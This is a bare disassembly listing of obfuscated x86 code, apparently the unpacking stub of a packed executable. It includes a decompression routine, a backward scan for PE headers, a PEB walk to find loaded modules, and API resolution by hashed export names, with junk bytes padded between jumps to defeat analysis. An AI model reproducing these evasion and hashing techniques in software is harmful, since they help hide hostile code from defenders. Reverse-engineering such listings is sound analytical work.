

sub_402F03	proc far		; CODE XREF: sub_4019C4:loc_401B74p
					; sub_4019C4+237p

var_7E		= dword	ptr -7Eh
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp


loc_402F06:				; CODE XREF: sub_402F03+22j
		jmp	loc_402F15
; ---------------------------------------------------------------------------
		db 0D0h
		dd 0FCEFCEC9h, 0E80BDA85h
		db 1
; ---------------------------------------------------------------------------


loc_402F15:				; CODE XREF: sub_402F03:loc_402F06j
		sub	esp, 14h
		jmp	loc_402F2B
; ---------------------------------------------------------------------------
		db 0A6h, 0E7h, 94h
; ---------------------------------------------------------------------------
		cmp	eax, 39008332h
		jle	short loc_402F06
		sub	al, 0F5h
		mov	bh, bl


loc_402F2B:				; CODE XREF: sub_402F03+15j
		mov	eax, [ebp+8]
		mov	cl, [eax]
		jmp	short loc_402F3F
; ---------------------------------------------------------------------------
		dw 7118h
		dd 0ADC4D756h, 0A93073E2h
		db 2Eh,	0CFh, 5Ch
; ---------------------------------------------------------------------------


loc_402F3F:				; CODE XREF: sub_402F03+2Dj
		and	[ebp+var_8], 0
		push	ebx
		mov	ebx, [ebp+arg_4]
		jmp	short loc_402F53
; ---------------------------------------------------------------------------
		db 65h,	3Ah, 0EBh
		dd 0C706E148h
		db 0F4h, 1Dh, 92h
; ---------------------------------------------------------------------------


loc_402F53:				; CODE XREF: sub_402F03+44j
		push	esi
		xor	esi, esi
		and	[ebp+var_4], esi
		jmp	loc_402F65
; ---------------------------------------------------------------------------
		dw 6063h
		dd 8CBFDE19h
		db 0D5h
; ---------------------------------------------------------------------------


loc_402F65:				; CODE XREF: sub_402F03+56j
		mov	[ebx], cl
		jmp	short loc_402F76
; ---------------------------------------------------------------------------
		db 0EAh, 0DBh, 78h
		dd 24B7B651h, 9053428Dh
		db 89h,	8Eh
; ---------------------------------------------------------------------------


loc_402F76:				; CODE XREF: sub_402F03+64j
		lea	ecx, [ebx+1]
		inc	eax
		jmp	loc_402F87
; ---------------------------------------------------------------------------
		db 0AFh
		dd 0CB9A45BCh
		db 0A8h, 0C1h, 66h
; ---------------------------------------------------------------------------


loc_402F87:				; CODE XREF: sub_402F03+77j
		push	edi
		mov	[ebp+var_10], ecx
		jmp	short loc_402F90
; ---------------------------------------------------------------------------
		cmpsd
		push	esp
		std


loc_402F90:				; CODE XREF: sub_402F03+88j
		mov	[ebp+var_14], eax
		jmp	loc_402F9C
; ---------------------------------------------------------------------------
		dd 0F9C043F2h
; ---------------------------------------------------------------------------


loc_402F9C:				; CODE XREF: sub_402F03+90j
					; sub_402F03+4F6j
		lea	ecx, [ebp+var_14]
		jmp	loc_402FB2
; ---------------------------------------------------------------------------
		dd 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h
		db 0A2h, 33h
; ---------------------------------------------------------------------------


loc_402FB2:				; CODE XREF: sub_402F03+9Cj
		call	sub_402DEA
		jmp	loc_402FC3
; ---------------------------------------------------------------------------
		dd 8FEE69F0h
; ---------------------------------------------------------------------------
		sbb	al, 25h
		cli


loc_402FC3:				; CODE XREF: sub_402F03+B4j
		test	eax, eax
		jz	loc_4033AF
		call	sub_402DEA
		jmp	short loc_402FE1
; ---------------------------------------------------------------------------
		dw 8ABh
		dd 0B487C6A1h, 202352DDh, 4C7F9ED9h
; ---------------------------------------------------------------------------
		xchg	eax, ebp


loc_402FE1:				; CODE XREF: sub_402F03+CDj
		test	eax, eax
		jz	loc_4031AE
		jmp	loc_402FF2
; ---------------------------------------------------------------------------
		stosb
		wait
		cmp	[ecx], dl


loc_402FF2:				; CODE XREF: sub_402F03+E6j
		call	sub_402DEA
		jmp	short loc_403005
; ---------------------------------------------------------------------------
		db 76h,	77h, 0E4h
		dd 5013024Dh, 7C6F4E49h
		db 5
; ---------------------------------------------------------------------------


loc_403005:				; CODE XREF: sub_402F03+F4j
		test	eax, eax
		jz	loc_4030B3
		push	4
		xor	esi, esi
		jmp	short loc_403019
; ---------------------------------------------------------------------------
		db 5Ah
		dd 2681688Bh
		db 67h
; ---------------------------------------------------------------------------


loc_403019:				; CODE XREF: sub_402F03+10Ej
		pop	edi


loc_40301A:				; CODE XREF: sub_402F03+12Cj
		lea	ecx, [ebp+var_14]
		call	sub_402DEA
		jmp	short loc_40302B
; ---------------------------------------------------------------------------
		dd 3B2BD14h
		db 80h,	0B9h, 0FEh
; ---------------------------------------------------------------------------


loc_40302B:				; CODE XREF: sub_402F03+11Fj
		lea	esi, [eax+esi*2]
		dec	edi
		jnz	loc_40301A
		jmp	loc_40303B
; ---------------------------------------------------------------------------
		pop	edi


loc_40303B:				; CODE XREF: sub_402F03+132j
		mov	eax, [ebp+var_10]
		jmp	short loc_403041
; ---------------------------------------------------------------------------
		lodsb


loc_403041:				; CODE XREF: sub_402F03+13Bj
		test	esi, esi
		jz	loc_40308B
		jmp	loc_403051
; ---------------------------------------------------------------------------
		dw 0A75h
		db 7Bh
; ---------------------------------------------------------------------------


loc_403051:				; CODE XREF: sub_402F03+146j
		mov	ecx, [ebp+var_10]
		sub	eax, esi
		jmp	short loc_403060
; ---------------------------------------------------------------------------
		dd 57D6F198h, 0F3622D44h
; ---------------------------------------------------------------------------


loc_403060:				; CODE XREF: sub_402F03+153j
		mov	al, [eax]
		mov	[ecx], al
		jmp	loc_403076
; ---------------------------------------------------------------------------
		db 0B0h, 29h, 0AEh
		dd 0BAE5DC4Fh, 8661C86Bh
		db 47h,	74h
; ---------------------------------------------------------------------------


loc_403076:				; CODE XREF: sub_402F03+161j
		jmp	loc_40308E
; ---------------------------------------------------------------------------
		db 0EBh	; 
		db  0Eh
		db 9Dh,	12h, 0E3h
		dd 3F5E99E0h, 5B6A550Ch
; ---------------------------------------------------------------------------
		clc
		sal	dword ptr [esi], 1


loc_40308B:				; CODE XREF: sub_402F03+140j
		mov	byte ptr [eax],	0


loc_40308E:				; CODE XREF: sub_402F03:loc_403076j
		inc	[ebp+var_10]
		jmp	short loc_40309B
; ---------------------------------------------------------------------------
		aaa
		movsb
		or	eax, 910D3C2h
		push	cs


loc_40309B:				; CODE XREF: sub_402F03+18Ej
		jmp	loc_4033E5
; ---------------------------------------------------------------------------
		jmp	loc_4030B3
; ---------------------------------------------------------------------------
		db 2Fh,	3Ch, 0C5h
		dd 41284B1Ah, 7DD427E6h
		db 72h,	0C3h, 40h
; ---------------------------------------------------------------------------


loc_4030B3:				; CODE XREF: sub_402F03+104j
					; sub_402F03+19Dj
		mov	eax, [ebp+var_14]
		movzx	esi, byte ptr [eax]
		jmp	short loc_4030C6
; ---------------------------------------------------------------------------
		db 79h
; ---------------------------------------------------------------------------
		mov	esi, 0CA356C1Fh
		cmp	ebx, [eax-4Fh]
		xchg	eax, esi
		pop	ss


loc_4030C6:				; CODE XREF: sub_402F03+1B6j
		inc	[ebp+var_14]
		jmp	loc_4030D8
; ---------------------------------------------------------------------------
		add	al, 0EDh
		and	dh, [ebx+0F6EE970h]
		pushf
		movsd


loc_4030D8:				; CODE XREF: sub_402F03+1C6j
		xor	ecx, ecx
		inc	ecx
		jmp	short loc_4030E6
; ---------------------------------------------------------------------------
		db 7Ah,	2Bh, 88h
		dd 34074621h
		db 5Dh,	0D2h
; ---------------------------------------------------------------------------


loc_4030E6:				; CODE XREF: sub_402F03+1D8j
		mov	eax, esi
		jmp	short loc_4030F8
; ---------------------------------------------------------------------------
		dw 0A0A3h
		dd 0CCFF1E59h, 0B81B2A15h, 64F7F691h
; ---------------------------------------------------------------------------


loc_4030F8:				; CODE XREF: sub_402F03+1E5j
		and	eax, ecx
		inc	eax
		jmp	loc_40310A
; ---------------------------------------------------------------------------
		dd 0D09382CDh, 0FCEFCEC9h
; ---------------------------------------------------------------------------
		test	ebx, edx


loc_40310A:				; CODE XREF: sub_402F03+1F8j
		inc	eax
		jmp	short loc_403118
; ---------------------------------------------------------------------------
		or	ebp, eax
		add	[esi+323D94E7h], esp
		add	dword ptr [eax], 39h


loc_403118:				; CODE XREF: sub_402F03+208j
		shr	esi, 1
		jz	loc_40318A
		jmp	short loc_40312C
; ---------------------------------------------------------------------------
		dw 0DF7Eh
; ---------------------------------------------------------------------------
		sub	al, 0F5h
		mov	bh, bl
		sbb	[ecx+56h], dh
		xlat


loc_40312C:				; CODE XREF: sub_402F03+21Dj
		test	eax, eax
		jz	loc_40338A
		jmp	short loc_403145
; ---------------------------------------------------------------------------
		dw 0ADC4h
		dd 0A93073E2h, 655CCF2Eh, 0E148EB3Ah
; ---------------------------------------------------------------------------
		push	es


loc_403145:				; CODE XREF: sub_402F03+231j
		mov	ecx, [ebp+var_10]
		sub	ecx, esi
		jmp	loc_403152
; ---------------------------------------------------------------------------
		db 0C7h
		db 0F4h, 1Dh
; ---------------------------------------------------------------------------


loc_403152:				; CODE XREF: sub_402F03+247j
					; sub_402F03+26Dj
		mov	edi, [ebp+var_10]
		mov	dl, [ecx]
		inc	[ebp+var_10]
		jmp	short loc_40316C
; ---------------------------------------------------------------------------
		dd 19606392h, 0D58CBFDEh, 5178DBEAh, 8D24B7B6h
; ---------------------------------------------------------------------------


loc_40316C:				; CODE XREF: sub_402F03+257j
		inc	ecx
		mov	[edi], dl
		dec	eax
		jnz	loc_403152
		jmp	short loc_403185
; ---------------------------------------------------------------------------
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		dw 0C1A8h
		db 66h
; ---------------------------------------------------------------------------


loc_403185:				; CODE XREF: sub_402F03+273j
		jmp	loc_40338A
; ---------------------------------------------------------------------------


loc_40318A:				; CODE XREF: sub_402F03+217j
		mov	[ebp+var_4], ecx
		jmp	loc_4031A2
; ---------------------------------------------------------------------------
		dw 54A7h
		dd 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h
; ---------------------------------------------------------------------------
		xor	[esi], edx


loc_4031A2:				; CODE XREF: sub_402F03+28Aj
		jmp	loc_40338A
; ---------------------------------------------------------------------------
		jmp	loc_4031AE
; ---------------------------------------------------------------------------
		db 97h,	84h
; ---------------------------------------------------------------------------


loc_4031AE:				; CODE XREF: sub_402F03+E0j
					; sub_402F03+2A4j
		call	sub_402EB1
		jmp	loc_4031BB
; ---------------------------------------------------------------------------
		db 6Dh,	0A2h, 33h
; ---------------------------------------------------------------------------


loc_4031BB:				; CODE XREF: sub_402F03+2B0j
		test	esi, esi
		jnz	loc_40325D
		cmp	eax, 2
		jnz	loc_40324D
		lea	ecx, [ebp+var_14]
		jmp	loc_4031E0
; ---------------------------------------------------------------------------
		dd 8FEE69F0h, 0ABFA251Ch, 87C6A108h
; ---------------------------------------------------------------------------


loc_4031E0:				; CODE XREF: sub_402F03+2CCj
		call	sub_402EB1
		jmp	short loc_4031EF
; ---------------------------------------------------------------------------
		db 0B4h
		dd 202352DDh
		db 0D9h, 9Eh, 7Fh
; ---------------------------------------------------------------------------


loc_4031EF:				; CODE XREF: sub_402F03+2E2j
		test	eax, eax
		jz	loc_403394
		mov	ecx, [ebp+var_10]
		sub	ecx, [ebp+8]
		jmp	short loc_40320D
; ---------------------------------------------------------------------------
		db 4Ch
		dd 389BAA95h, 0E4777611h, 5013024Dh
; ---------------------------------------------------------------------------


loc_40320C:				; CODE XREF: sub_402F03+36Ej
		dec	ecx


loc_40320D:				; CODE XREF: sub_402F03+2FAj
					; sub_402F03+33Bj
		mov	esi, [ebp+var_10]
		mov	dl, [ecx]
		jmp	loc_403227
; ---------------------------------------------------------------------------
		db 4Eh
		dd 5A057C6Fh, 2681688Bh, 0B2BD1467h
		db 3, 80h, 0B9h
; ---------------------------------------------------------------------------


loc_403227:				; CODE XREF: sub_402F03+30Fj
		inc	[ebp+var_10]
		inc	ecx
		jmp	short loc_40323B
; ---------------------------------------------------------------------------
		db 0FEh, 5Fh, 0ACh
		dd 987B0A75h, 4457D6F1h
		db 2Dh,	62h, 0F3h
; ---------------------------------------------------------------------------


loc_40323B:				; CODE XREF: sub_402F03+328j
		mov	[esi], dl
		dec	eax
		jnz	loc_40320D
		jmp	loc_403394
; ---------------------------------------------------------------------------
		jmp	short loc_40324D
; ---------------------------------------------------------------------------
		mov	al, 29h


loc_40324D:				; CODE XREF: sub_402F03+2C3j
					; sub_402F03+346j
		sub	eax, 3
		jmp	loc_403275
; ---------------------------------------------------------------------------
		jmp	loc_40325D
; ---------------------------------------------------------------------------
		dw 4FAEh
		db 0DCh
; ---------------------------------------------------------------------------


loc_40325D:				; CODE XREF: sub_402F03+2BAj
					; sub_402F03+352j
		dec	eax
		jmp	short loc_403264
; ---------------------------------------------------------------------------
		dd 0C86BBAE5h
; ---------------------------------------------------------------------------


loc_403264:				; CODE XREF: sub_402F03+35Bj
		dec	eax
		jmp	loc_403275
; ---------------------------------------------------------------------------
		popa
		xchg	al, [edi+74h]
		popf
		adc	ah, bl
		loopne	loc_40320C
		pop	esi
		aas


loc_403275:				; CODE XREF: sub_402F03+34Dj
					; sub_402F03+362j
		mov	ecx, [ebp+var_14]
		jmp	short loc_403289
; ---------------------------------------------------------------------------
		or	al, 55h
		push	5Bh
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 910D3C2h
		push	cs


loc_403289:				; CODE XREF: sub_402F03+375j
		movzx	ecx, byte ptr [ecx]
		jmp	loc_40329A
; ---------------------------------------------------------------------------
		db 2Fh,	3Ch, 0C5h
		dd 41284B1Ah
		db 0E6h, 27h
; ---------------------------------------------------------------------------


loc_40329A:				; CODE XREF: sub_402F03+389j
		shl	eax, 8
		add	eax, ecx
		jmp	short loc_4032A3
; ---------------------------------------------------------------------------
		aam	7Dh


loc_4032A3:				; CODE XREF: sub_402F03+39Cj
		inc	[ebp+var_14]
		jmp	short loc_4032AC
; ---------------------------------------------------------------------------
		dd 7940C372h
; ---------------------------------------------------------------------------


loc_4032AC:				; CODE XREF: sub_402F03+3A3j
		lea	ecx, [ebp+var_14]
		jmp	short loc_4032BC
; ---------------------------------------------------------------------------
		db 0BEh, 1Fh, 6Ch
		dd 583BCA35h, 41796B1h
; ---------------------------------------------------------------------------


loc_4032BC:				; CODE XREF: sub_402F03+3ACj
		mov	esi, eax
		call	sub_402EB1
		jmp	short loc_4032D3
; ---------------------------------------------------------------------------
		db 0EDh, 22h, 0B3h
		dd 0F6EE970h, 2B7AA59Ch
; ---------------------------------------------------------------------------
		mov	[ecx], ah
		inc	esi


loc_4032D3:				; CODE XREF: sub_402F03+3C0j
		cmp	esi, 7D00h
		jb	loc_4032E0
		inc	eax


loc_4032E0:				; CODE XREF: sub_402F03+3D6j
		cmp	esi, 500h
		jb	loc_4032FD
		jmp	short loc_4032FC
; ---------------------------------------------------------------------------
		dw 3407h
		dd 0A0A3D25Dh, 0CCFF1E59h, 0B81B2A15h
; ---------------------------------------------------------------------------


loc_4032FC:				; CODE XREF: sub_402F03+3E9j
		inc	eax


loc_4032FD:				; CODE XREF: sub_402F03+3E3j
		cmp	esi, 80h
		jnb	loc_40333B
		jmp	loc_403315
; ---------------------------------------------------------------------------
		dw 0F691h
; ---------------------------------------------------------------------------
		mul	[ebp+ecx*8+var_7E]
		xchg	eax, ebx


loc_403315:				; CODE XREF: sub_402F03+406j
		inc	eax
		jmp	short loc_403327
; ---------------------------------------------------------------------------
		dd 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h
		db 94h,	3Dh, 32h
; ---------------------------------------------------------------------------


loc_403327:				; CODE XREF: sub_402F03+413j
		inc	eax
		jmp	loc_40333B
; ---------------------------------------------------------------------------
		db 83h,	0, 39h
		dd 0F52CDF7Eh, 7118FB8Ah
		db 56h,	0D7h, 0C4h
; ---------------------------------------------------------------------------


loc_40333B:				; CODE XREF: sub_402F03+400j
					; sub_402F03+425j
		test	eax, eax
		jz	loc_40338A
		jmp	short loc_403347
; ---------------------------------------------------------------------------
		db 0ADh, 0E2h
; ---------------------------------------------------------------------------


loc_403347:				; CODE XREF: sub_402F03+440j
		mov	ecx, [ebp+var_10]
		jmp	short loc_40335B
; ---------------------------------------------------------------------------
		dd 2EA93073h, 3A655CCFh, 6E148EBh
		db 0C7h, 0F4h, 1Dh
; ---------------------------------------------------------------------------


loc_40335B:				; CODE XREF: sub_402F03+447j
		sub	ecx, esi


loc_40335D:				; CODE XREF: sub_402F03+47Bj
		mov	edi, [ebp+var_10]
		mov	dl, [ecx]
		jmp	short loc_403371
; ---------------------------------------------------------------------------
		dd 19606392h, 0D58CBFDEh, 5178DBEAh
		db 0B6h
; ---------------------------------------------------------------------------


loc_403371:				; CODE XREF: sub_402F03+45Fj
		inc	[ebp+var_10]
		inc	ecx
		mov	[edi], dl
		jmp	short loc_40337D
; ---------------------------------------------------------------------------
		db 0B7h, 24h, 8Dh
; ---------------------------------------------------------------------------
		inc	edx


loc_40337D:				; CODE XREF: sub_402F03+474j
		dec	eax
		jnz	loc_40335D
		jmp	short loc_40338A
; ---------------------------------------------------------------------------
		dw 9053h
		db 89h,	8Eh
; ---------------------------------------------------------------------------


loc_40338A:				; CODE XREF: sub_402F03+22Bj
					; sub_402F03:loc_403185j ...
		mov	[ebp+8], esi
		jmp	short loc_403394
; ---------------------------------------------------------------------------
		db 0AFh
		dd 0CB9A45BCh
; ---------------------------------------------------------------------------


loc_403394:				; CODE XREF: sub_402F03+2EEj
					; sub_402F03+341j ...
		xor	esi, esi
		inc	esi
		jmp	loc_4033AA
; ---------------------------------------------------------------------------
		dd 0A766C1A8h, 43F2FD54h, 9F3EF9C0h
		db 0ECh, 0B5h
; ---------------------------------------------------------------------------


loc_4033AA:				; CODE XREF: sub_402F03+494j
		jmp	loc_4033F5
; ---------------------------------------------------------------------------


loc_4033AF:				; CODE XREF: sub_402F03+C2j
		mov	eax, [ebp+var_14]
		jmp	short loc_4033C4
; ---------------------------------------------------------------------------
		dd 31D8BB4Ah, 6D849716h, 69F033A2h, 251C8FEEh
; ---------------------------------------------------------------------------


loc_4033C4:				; CODE XREF: sub_402F03+4AFj
		mov	ecx, [ebp+var_10]
		mov	al, [eax]
		inc	[ebp+var_10]
		jmp	loc_4033E0
; ---------------------------------------------------------------------------
		db 0FAh, 0ABh, 8
		dd 0B487C6A1h, 202352DDh, 4C7F9ED9h
; ---------------------------------------------------------------------------


loc_4033E0:				; CODE XREF: sub_402F03+4C9j
		inc	[ebp+var_14]
		mov	[ecx], al


loc_4033E5:				; CODE XREF: sub_402F03:loc_40309Bj
		xor	esi, esi
		jmp	short loc_4033F5
; ---------------------------------------------------------------------------
		db 95h,	0AAh, 9Bh
		dd 77761138h, 13024DE4h
; ---------------------------------------------------------------------------
		push	eax


loc_4033F5:				; CODE XREF: sub_402F03:loc_4033AAj
					; sub_402F03+4E4j
		cmp	[ebp+var_4], 0
		jz	loc_402F9C
		mov	eax, [ebp+var_10]
		pop	edi
		jmp	short loc_40340D
; ---------------------------------------------------------------------------
		db 49h,	4Eh, 6Fh
		dd 8B5A057Ch
		db 68h
; ---------------------------------------------------------------------------


loc_40340D:				; CODE XREF: sub_402F03+500j
		pop	esi
		sub	eax, ebx
		jmp	loc_40341A
; ---------------------------------------------------------------------------
		db 81h,	26h, 67h
; ---------------------------------------------------------------------------
		adc	al, 0BDh


loc_40341A:				; CODE XREF: sub_402F03+50Dj
		pop	ebx
		jmp	locret_403425
; ---------------------------------------------------------------------------
		dd 0B98003B2h
		db 0FEh
; ---------------------------------------------------------------------------

locret_403425:				; CODE XREF: sub_402F03+518j
		leave
		retn	8
sub_402F03	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_403429	proc near		; CODE XREF: start_0:loc_4011DBp
		mov	eax, [esp+0]
		jmp	loc_403434
; ---------------------------------------------------------------------------
		db 5Fh,	0ACh, 75h
; ---------------------------------------------------------------------------


loc_403434:				; CODE XREF: sub_403429+3j
		mov	ecx, 0FFFFF000h
		and	eax, ecx
		mov	ecx, [eax]
		jmp	short loc_403443
; ---------------------------------------------------------------------------
		or	bh, [ebx-68h]
		icebp


loc_403443:				; CODE XREF: sub_403429+14j
		jmp	loc_403468
; ---------------------------------------------------------------------------
		jmp	loc_403453
; ---------------------------------------------------------------------------
		db 0D6h, 57h, 44h
		db 2Dh,	62h, 0F3h
; ---------------------------------------------------------------------------


loc_403453:				; CODE XREF: sub_403429+1Fj
					; sub_403429+44j
		sub	eax, 1000h
		jmp	loc_403466
; ---------------------------------------------------------------------------
		db 0B0h, 29h, 0AEh
		dd 0BAE5DC4Fh
		db 6Bh,	0C8h
; ---------------------------------------------------------------------------


loc_403466:				; CODE XREF: sub_403429+2Fj
		mov	ecx, [eax]


loc_403468:				; CODE XREF: sub_403429:loc_403443j
		cmp	cx, 5A4Dh
		jnz	loc_403453
		lea	ecx, [eax+3Ch]
		jmp	loc_403489
; ---------------------------------------------------------------------------
		db 61h
		dd 9D744786h, 99E0E312h, 550C3F5Eh
		db 6Ah
; ---------------------------------------------------------------------------


loc_403489:				; CODE XREF: sub_403429+4Dj
		mov	ecx, [ecx]
		jmp	short loc_403497
; ---------------------------------------------------------------------------
		db 5Bh,	0F8h, 0D1h
		dd 0DA43736h
		db 0C2h, 0D3h, 10h
; ---------------------------------------------------------------------------


loc_403497:				; CODE XREF: sub_403429+62j
		mov	ecx, [ecx+eax]
		and	ecx, 0FFFFh
		jmp	loc_4034B0
; ---------------------------------------------------------------------------
		db 9, 0Eh, 2Fh
		dd 4B1AC53Ch, 27E64128h
; ---------------------------------------------------------------------------


loc_4034B0:				; CODE XREF: sub_403429+77j
		cmp	ecx, 4550h
		jz	locret_4034CD
		jmp	loc_4034C4
; ---------------------------------------------------------------------------
		db 0D4h, 7Dh, 72h
; ---------------------------------------------------------------------------


loc_4034C4:				; CODE XREF: sub_403429+93j
		xor	eax, eax
		jmp	locret_4034CD
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		inc	eax

locret_4034CD:				; CODE XREF: sub_403429+8Dj
					; sub_403429+9Dj
		retn
sub_403429	endp


; =============== S U B	R O U T	I N E =======================================



sub_4034CE	proc near		; CODE XREF: start_0:loc_40121Fp
					; sub_40141A+16Bp ...
		push	esi
		jmp	short loc_4034DA
; ---------------------------------------------------------------------------
		db 79h,	0BEh, 1Fh
		dd 3BCA356Ch
		db 58h,	0B1h
; ---------------------------------------------------------------------------


loc_4034DA:				; CODE XREF: sub_4034CE+1j
		xor	eax, eax
		mov	eax, fs:[eax+30h]
		mov	eax, [eax+0Ch]
		jmp	short loc_4034F2
; ---------------------------------------------------------------------------
		db 96h,	17h, 4
		dd 70B322EDh, 9C0F6EE9h
		db 0A5h, 7Ah
; ---------------------------------------------------------------------------


loc_4034F2:				; CODE XREF: sub_4034CE+15j
		mov	esi, [eax+1Ch]
		jmp	short loc_4034F8
; ---------------------------------------------------------------------------
		db 2Bh
; ---------------------------------------------------------------------------


loc_4034F8:				; CODE XREF: sub_4034CE+27j
		lodsd
		mov	eax, [eax+8]
		jmp	loc_40350B
; ---------------------------------------------------------------------------
		db 88h,	21h, 46h
		dd 0D25D3407h
		db 0A3h, 0A0h, 59h
; ---------------------------------------------------------------------------


loc_40350B:				; CODE XREF: sub_4034CE+2Ej
		pop	esi
		retn
sub_4034CE	endp

; ---------------------------------------------------------------------------
		jmp	short near ptr sub_403516
; ---------------------------------------------------------------------------
		db 1Eh
		dd 2A15CCFFh
		db 1Bh,	0B8h

; =============== S U B	R O U T	I N E =======================================



sub_403516	proc far		; CODE XREF: start_0:loc_40125Ep
					; start_0+102p	...

var_18		= dword	ptr -18h

		push	ebp
		jmp	loc_40351D
; ---------------------------------------------------------------------------
		xchg	eax, ecx


loc_40351D:				; CODE XREF: sub_403516+1j
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	ebx
		jmp	loc_40352E
; ---------------------------------------------------------------------------
		dd 0CD64F7F6h
		db 82h,	93h
; ---------------------------------------------------------------------------


loc_40352E:				; CODE XREF: sub_403516+Dj
		push	esi
		push	edi
		jmp	short loc_403535
; ---------------------------------------------------------------------------
		dw 0C9D0h
		db 0CEh
; ---------------------------------------------------------------------------


loc_403535:				; CODE XREF: sub_403516+1Aj
		mov	ebx, [ebp+8]
		mov	ecx, ebx
		add	ebx, [ebx+3Ch]
		jmp	short loc_40354C
; ---------------------------------------------------------------------------
		db 0EFh
		dd 0BDA85FCh, 0E7A601E8h, 83323D94h
; ---------------------------------------------------------------------------


loc_40354C:				; CODE XREF: sub_403516+27j
		push	dword ptr [ebx+7Ch]
		jmp	loc_40355D
; ---------------------------------------------------------------------------
		dd 0DF7E3900h, 0FB8AF52Ch
		db 18h
; ---------------------------------------------------------------------------


loc_40355D:				; CODE XREF: sub_403516+39j
		mov	ebx, [ebx+78h]
		jmp	loc_403570
; ---------------------------------------------------------------------------
		db 71h,	56h, 0D7h
		dd 73E2ADC4h, 0CF2EA930h
; ---------------------------------------------------------------------------


loc_403570:				; CODE XREF: sub_403516+4Aj
		add	ebx, ecx
		jmp	short loc_403575
; ---------------------------------------------------------------------------
		pop	esp


loc_403575:				; CODE XREF: sub_403516+5Cj
		add	[esp+18h+var_18], ebx
		jmp	loc_40357F
; ---------------------------------------------------------------------------
		db 65h,	3Ah
; ---------------------------------------------------------------------------


loc_40357F:				; CODE XREF: sub_403516+62j
		mov	edi, [ebx+20h]
		jmp	short loc_403592
; ---------------------------------------------------------------------------
		dd 6E148EBh, 921DF4C7h,	0DE196063h
		db 0BFh, 8Ch
; ---------------------------------------------------------------------------


loc_403592:				; CODE XREF: sub_403516+6Cj
		add	edi, ecx
		jmp	short loc_4035A6
; ---------------------------------------------------------------------------
		dw 0EAD5h
		dd 0B65178DBh, 428D24B7h, 8E899053h
		db 0AFh, 0BCh
; ---------------------------------------------------------------------------


loc_4035A6:				; CODE XREF: sub_403516+7Ej
		xor	esi, esi
		jmp	loc_4035AE
; ---------------------------------------------------------------------------
		inc	ebp


loc_4035AE:				; CODE XREF: sub_403516+92j
					; sub_403516+100j
		lea	edx, [edi+esi*4]
		jmp	short loc_4035C0
; ---------------------------------------------------------------------------
		db 9Ah
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
		dd 0F2FD54A7h, 3EF9C043h
; ---------------------------------------------------------------------------


loc_4035C0:				; CODE XREF: sub_403516+9Bj
		mov	edx, [edx]
		add	edx, ecx
		jmp	short loc_4035CC
; ---------------------------------------------------------------------------
		dw 0EC9Fh
		dd 0D8BB4AB5h
; ---------------------------------------------------------------------------


loc_4035CC:				; CODE XREF: sub_403516+AEj
		mov	[ebp-4], edx
		xor	eax, eax


loc_4035D1:				; CODE XREF: sub_403516+DCj
		rol	eax, 7
		jmp	loc_4035DC
; ---------------------------------------------------------------------------
		xor	[esi], edx
		xchg	eax, edi


loc_4035DC:				; CODE XREF: sub_403516+BEj
		xor	al, [edx]
		jmp	loc_4035EE
; ---------------------------------------------------------------------------
		test	[ebp-5Eh], ch
		xor	esi, eax
		imul	ebp, esi, 0FA251C8Fh


loc_4035EE:				; CODE XREF: sub_403516+C8j
		inc	edx
		cmp	byte ptr [edx],	0
		jnz	loc_4035D1
		cmp	eax, [ebp+0Ch]
		jz	loc_403627
		jmp	short loc_403606
; ---------------------------------------------------------------------------
		db 0ABh
		db 8, 0A1h
; ---------------------------------------------------------------------------


loc_403606:				; CODE XREF: sub_403516+EBj
		inc	esi
		jmp	short loc_403613
; ---------------------------------------------------------------------------
		db 0C6h, 87h, 0B4h
		dd 202352DDh
		db 0D9h, 9Eh, 7Fh
; ---------------------------------------------------------------------------


loc_403613:				; CODE XREF: sub_403516+F1j
		cmp	esi, [ebx+18h]
		jb	loc_4035AE
		jmp	short loc_403627
; ---------------------------------------------------------------------------
		dw 954Ch
		dd 11389BAAh
		db 76h,	77h, 0E4h
; ---------------------------------------------------------------------------


loc_403627:				; CODE XREF: sub_403516+E5j
					; sub_403516+106j
		mov	edx, [ebx+24h]
		add	edx, ecx
		jmp	short loc_403635
; ---------------------------------------------------------------------------
		dw 24Dh
		dd 4E495013h
		db 6Fh
; ---------------------------------------------------------------------------


loc_403635:				; CODE XREF: sub_403516+116j
		movzx	edx, word ptr [edx+esi*2]
		mov	eax, [ebx+1Ch]
		add	eax, ecx
		jmp	loc_403651
; ---------------------------------------------------------------------------
		db 7Ch
		dd 688B5A05h, 14672681h, 8003B2BDh
		db 0B9h
; ---------------------------------------------------------------------------


loc_403651:				; CODE XREF: sub_403516+128j
		mov	eax, [eax+edx*4]
		add	eax, ecx
		jmp	short loc_40365C
; ---------------------------------------------------------------------------
		dd 75AC5FFEh
; ---------------------------------------------------------------------------


loc_40365C:				; CODE XREF: sub_403516+140j
		pop	ecx
		cmp	eax, ebx
		jbe	loc_4036BD
		jmp	short loc_40366E
; ---------------------------------------------------------------------------
		or	bh, [ebx-68h]
		icebp
		setalc
		push	edi
		inc	esp


loc_40366E:				; CODE XREF: sub_403516+14Fj
		cmp	eax, ecx
		jnb	loc_4036BD
		jmp	short loc_403687
; ---------------------------------------------------------------------------
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi


loc_403687:				; CODE XREF: sub_403516+160j
		push	dword ptr [ebp-4]
		jmp	short loc_40368F
; ---------------------------------------------------------------------------
		db 74h,	9Dh, 12h
; ---------------------------------------------------------------------------


loc_40368F:				; CODE XREF: sub_403516+174j
		push	dword ptr [ebp+8]
		push	1FC0EAEEh
		jmp	loc_4036A4
; ---------------------------------------------------------------------------
		dd 5E99E0E3h, 6A550C3Fh
; ---------------------------------------------------------------------------


loc_4036A4:				; CODE XREF: sub_403516+181j
		push	dword ptr [ebp+8]
		call	near ptr sub_403516
		call	eax
		jmp	loc_4036BD
